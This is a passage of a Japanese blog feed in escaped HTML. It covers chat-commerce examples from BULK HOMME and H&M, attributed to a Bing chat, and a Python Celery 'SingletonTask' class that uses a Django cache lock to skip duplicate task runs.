&lt;p&gt;日本では、メンズスキンケアブランドの&lt;strong&gt;バルクオム&lt;/strong&gt;がチャットコマースを活用しています²。バルクオムでは、ウェブサイトやLINEでチャットボットを使って、顧客にスキンケアのアドバイスや商品の紹介を行っています。チャットボットは、顧客の肌質や悩みに合わせたオススメの商品や使い方を教えてくれます。また、チャットボットから直接商品を購入することもできます。&lt;/p&gt;
&lt;p&gt;海外では、ファッションブランドの&lt;strong&gt;H＆M&lt;/strong&gt;がチャットコマースを活用しています¹。H＆Mでは、メッセージングアプリのKikでチャットボットを使って、顧客にファッションのアドバイスや商品の紹介を行っています。チャットボットは、顧客の年齢や性別、好みなどに応じてコーディネートの提案や商品のレコメンドを行ってくれます。また、チャットボットから直接商品を購入することもできます。&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/4/15&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) チャットコマースとは？メリットや導入事例を解説｜EC Work. &lt;a href="https://ecwork.jp/3498"&gt;https://ecwork.jp/3498&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(2) 2022年に132億円市場となる、チャットコマースとは？注目・成長 &amp;hellip;. &lt;a href="https://bing.com/search?q=%e3%83%81%e3%83%a3%e3%83%83%e3%83%88%e3%82%b3%e3%83%9e%e3%83%bc%e3%82%b9%e3%81%ae%e4%ba%8b%e4%be%8b"&gt;https://bing.com/search?q=%e3%83%81%e3%83%a3%e3%83%83%e3%83%88%e3%82%b3%e3%83%9e%e3%83%bc%e3%82%b9%e3%81%ae%e4%ba%8b%e4%be%8b&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(3) 【5分で理解！】チャットコマースとは？市場・活用事例を紹介 &amp;hellip;. &lt;a href="https://atone.be/blog/%e3%83%81%e3%83%a3%e3%83%83%e3%83%88%e3%82%b3%e3%83%9e%e3%83%bc%e3%82%b9%e3%82%92%e3%82%8f%e3%81%8b%e3%82%8a%e3%82%84%e3%81%99%e3%81%8f%e8%a7%a3%e8%aa%ac/"&gt;https://atone.be/blog/%e3%83%81%e3%83%a3%e3%83%83%e3%83%88%e3%82%b3%e3%83%9e%e3%83%bc%e3%82%b9%e3%82%92%e3%82%8f%e3%81%8b%e3%82%8a%e3%82%84%e3%81%99%e3%81%8f%e8%a7%a3%e8%aa%ac/&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(4) 【比較事例10選】チャットコマースとは？導入企業やLINEなどの &amp;hellip;. &lt;a href="https://obot-ai.com/column/9689/"&gt;https://obot-ai.com/column/9689/&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(5) チャット型コマース(会話型コマース)とは何か？注目される理由 &amp;hellip;. &lt;a href="https://aixdesign.goo.ne.jp/column/chat-commerce/"&gt;https://aixdesign.goo.ne.jp/column/chat-commerce/&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Celery: Singleton Task</title><link>https://hdknr.github.io/blogs/posts/2023/04/celery-singleton-task/</link><pubDate>Wed, 12 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/celery-singleton-task/</guid><description>&lt;h2 id="celery-singleton-tasks"&gt;Celery: Singleton Tasks&lt;/h2&gt;
&lt;h3 id="singletontask"&gt;SingletonTask&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;25
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;26
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;27
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;28
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;29
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;30
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;31
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;32
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;33
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;34
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;35
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;36
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;37
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;38
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;39
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;40
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;41
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;42
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;43
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; celery.app.task &lt;span style="color:#f92672"&gt;import&lt;/span&gt; Task
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; celery.utils.log &lt;span style="color:#f92672"&gt;import&lt;/span&gt; get_task_logger
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.core.cache &lt;span style="color:#f92672"&gt;import&lt;/span&gt; cache
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;logger &lt;span style="color:#f92672"&gt;=&lt;/span&gt; get_task_logger(__name__)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;SingletonTask&lt;/span&gt;(Task):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;__call__&lt;/span&gt;(self, &lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;lock_key &lt;span style="color:#f92672"&gt;=&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;resolve_lock_key(&lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;not&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;request&lt;span style="color:#f92672"&gt;.&lt;/span&gt;is_eager &lt;span style="color:#f92672"&gt;and&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;lock_key:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# ロックキーが指定されて、 非同期モードであればシングルトンで動作させる&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;call_singleton(&lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# それ以外はデフォルトの動作&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; super()&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;__call__&lt;/span&gt;(&lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;resolve_lock_key&lt;/span&gt;(self, &lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34; taskに `singleton` キーワード変数でキーが指定されていたらシングルトンモード &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; singleton &lt;span style="color:#f92672"&gt;=&lt;/span&gt; kwargs&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get(&lt;span style="color:#e6db74"&gt;&amp;#34;singleton&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; singleton &lt;span style="color:#f92672"&gt;and&lt;/span&gt; &lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;name&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;-&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;singleton&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;prepare_execute&lt;/span&gt;(self, &lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34; シングルトンタスクの実行の前に何かする&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;pass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;call_singleton&lt;/span&gt;(self, &lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; lock &lt;span style="color:#f92672"&gt;=&lt;/span&gt; cache&lt;span style="color:#f92672"&gt;.&lt;/span&gt;lock(self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;lock_key)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;not&lt;/span&gt; lock&lt;span style="color:#f92672"&gt;.&lt;/span&gt;acquire(blocking&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;False&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# 取得できなかったら何もしない(同じような冪等処理がすでに動いている)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;info(&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{}&lt;/span&gt;&lt;span style="color:#e6db74"&gt; failed to lock:&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;format(self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;lock_key))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;SKIPPED&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;prepare_execute(&lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# 実際のタスクを実行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; super(SingletonTask, self)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;__call__&lt;/span&gt;(&lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;except&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Exception&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; e:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;error(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;task faiild:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;e&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; lock&lt;span style="color:#f92672"&gt;.&lt;/span&gt;release()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;raise&lt;/span&gt; e
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;finally&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; lock&lt;span style="color:#f92672"&gt;.&lt;/span&gt;release()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="サンプル"&gt;サンプル&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;CostSingletonTask&lt;/span&gt;(SingletonTask):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;prepare_execute&lt;/span&gt;(self, &lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34;実行前に設定時間(秒)でsleepする
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; この間の重複処理が行われない
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;error(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;LOCK ACQUIRE:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;lock_key&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;error(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;CALLING:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;args&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt; &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;kwargs&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logger&lt;span style="color:#f92672"&gt;.&lt;/span&gt;info(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Sleep for ASYNC_WINDOW(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;settings&lt;span style="color:#f92672"&gt;.&lt;/span&gt;ASYNC_WINDOW&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;)&amp;#34;&lt;/span&gt;)
